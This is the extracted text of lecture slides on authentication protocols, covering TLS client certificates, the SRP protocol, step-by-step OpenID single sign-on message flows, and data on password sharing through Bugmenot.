Mitigates: password sniffing, database compromise
Designed login protocols

**Phase 1**
- Client generates random number RN.
- Server sends server's certificate (incl. RN).
- Client sends client's certificate (incl. RN).

**Phase 2**
- Client checks server's certificate.
- Server checks client's certificate.

**Phase 3**
- Hash over all previous messages (signed with RN).
- Client checks hash and signature.
- Server generates random number, pre-master-secret, RN.
- Client generates random number, RN.
- Client calculates Master Secret from RN.

**Phase 4**
- Change to encrypted connection with RN.
- End SSL handshake.

**TLS client certificates**

**Mitigates:** password sniffing, phishing, DB compromise
Designed login protocols

Public parameters:

\[ N = 2q + 1, \quad q, g : |\langle g \rangle| = q, \quad k \in \mathbb{Z}_N \]

Setup:

\[ C \rightarrow S : C, p \]

\[ S : s \leftarrow \mathbb{Z}_N, \quad x \leftarrow H(s, p), \quad \text{store } C, v = g^x \pmod{N} \]

Authentication:

\[ C \rightarrow S : C, A = g^a \pmod{N} \]

\[ S \rightarrow C : s, B = k \cdot v + g^b \pmod{N} \]

\[ C : x \leftarrow H(s, p), \quad K \leftarrow H((B - k \cdot g^x)^a + x \cdot H(A, B)) \]

\[ S : K \leftarrow H((A \cdot v^{H(A, B)})^b) \]

Secure Remote Password (SRP) Protocol

Mitigates: password sniffing, phishing, DB compromise
Single sign-on

- **R**: Relying party (www.example.com)
- **P**: OpenID Provider (Facebook, Google, etc.)
- **UE**: End user (a human)
- **UA**: User agent (a browser)

\[ UE \rightarrow R \quad \text{I’m} \quad U@P! \]

**OpenID**

**Mitigates**: password re-use
Registering for Mixx is fast, fun, and easy! Here at Mixx, we don't think you should have to create yet another username and password. We work with several sites that you may already use. Simply select the account you'd like your new Mixx account to work with and we'll handle the rest!

Register using your OpenID URL

Register

OpenID

Mitigates: password re-use
Single sign-on

\[ \text{R} \quad \text{Relying party (www.example.com)} \]

\[ \text{P} \quad \text{OpenID Provider (Facebook, Google, etc.)} \]

\[ \text{UE} \quad \text{End user (a human)} \]

\[ \text{UA} \quad \text{User agent (a browser)} \]

\[ \text{UE} \rightarrow \text{R} \quad \text{I'm U@P!} \]

\[ \text{R} \leftrightarrow \text{P} \quad K_{R-P}, n \leftarrow \text{D-H key exchange} \]

OpenID

**Mitigates:** password re-use
Single sign-on

R | Relying party (www.example.com)
P | OpenID Provider (Facebook, Google, etc.)
UE | End user (a human)
UA | User agent (a browser)

UE → R | I’m U@P!
R ←→ P | $K_{R-P}, n \leftarrow$ D-H key exchange
UE ← R | OK, go verify with P (HTTP 302)
UE → P | I want to talk to R, who you share $n$ with

OpenID

Mitigates: password re-use
Single sign-on

<table>
<thead>
<tr>
<th>R</th>
<th>Relying party (<a href="http://www.example.com">www.example.com</a>)</th>
</tr>
</thead>
<tbody>
<tr>
<td>P</td>
<td>OpenID Provider (Facebook, Google, etc.)</td>
</tr>
<tr>
<td>U_E</td>
<td>End user (a human)</td>
</tr>
<tr>
<td>U_A</td>
<td>User agent (a browser)</td>
</tr>
</tbody>
</table>

\[
\begin{align*}
U_E & \longrightarrow R \quad \text{I’m U@P!} \\
R & \longleftrightarrow P \quad K_{R-P}, n \leftarrow \text{D-H key exchange} \\
U_E & \leftarrow R \quad \text{OK, go verify with P (HTTP 302)} \\
U_E & \longrightarrow P \quad \text{I want to talk to R, who you share n with} \\
U_E & \leftarrow P \quad \text{Are you sure you want to talk to R?}
\end{align*}
\]

OpenID

Mitigates: password re-use
Single sign-on

OpenID

**Mitigates:** password re-use
Single sign-on

- **R** Relying party (www.example.com)
- **P** OpenID Provider (Facebook, Google, etc.)
- **UE** End user (a human)
- **UA** User agent (a browser)

\[
\begin{align*}
\text{UE} &\rightarrow \text{R} \quad \text{I’m U@P!} \\
\text{R} &\leftrightarrow \text{P} \quad K_{\text{R-P}}, n \leftarrow \text{D-H key exchange} \\
\text{UE} &\leftarrow \text{R} \quad \text{OK, go verify with P (HTTP 302)} \\
\text{UE} &\rightarrow \text{P} \quad \text{I want to talk to R, who you share n with} \\
\text{UE} &\leftarrow \text{P} \quad \text{Sure you want to talk to R?} \\
\text{UE} &\rightarrow \text{P} \quad \text{Yes, here’s my password: p}
\end{align*}
\]

OpenID

**Mitigates:** password re-use
Single sign-on

R  Relying party (www.example.com)
P  OpenID Provider (Facebook, Google, etc.)
UE  End user (a human)
UA  User agent (a browser)

UE  →  R  I’m U@P!
R  ←→  P  $K_{R-P}, n \leftarrow$ D-H key exchange
UE  ←  R  OK, go verify with P (HTTP 302)
UE  →  P  I want to talk to R, who you share $n$ with
UE  ←  P  Sure you want to talk to R?
UE  →  P  Yes, here’s my password: $p$
UE  ←  P  Okay, use $\text{MAC}_{K_{R-P}}(U, P)$ (HTTP 302)
UE  →  R  $\text{MAC}_{K_{R-P}}(U, P)$! See, I’m U@P

OpenID

Mitigates: password re-use
Single sign-on

- **R**: Relying party (www.example.com)
- **P**: OpenID Provider (Facebook, Google, etc.)
- **UE**: End user (a human)
- **UA**: User agent (a browser)

**Flow**

\[ \begin{align*}
UE & \rightarrow R \quad \text{I’m U@P!} \\
R & \leftrightarrow P \quad K_{R-P}, n \leftarrow \text{D-H key exchange} \\
UA & \leftarrow R \quad \text{OK, go verify with P (HTTP 302)} \\
UA & \rightarrow P \quad \text{I want to talk to R, here’s my cookie c} \\
UA & \leftarrow P \quad \text{Okay, use } MAC_{K_{R-P}}(U, P) \\
UA & \rightarrow R \quad MAC_{K_{R-P}}(U, P)! \; \text{See, I’m U@P} \\
\end{align*} \]

**OpenID (auth-immediate)**

**Mitigates:** password re-use
Avoiding password collection

www.bugmenot.com/view/nytimes.com

Mitigates: password re-use across security domains, database compromise
Avoiding password collection

Blacklisted sites from Bugmenot

Traffic rank
Proportion of sites collecting passwords
Passwords collected
Bugmenot sharing blocked
jcb82@cl.cam.ac.uk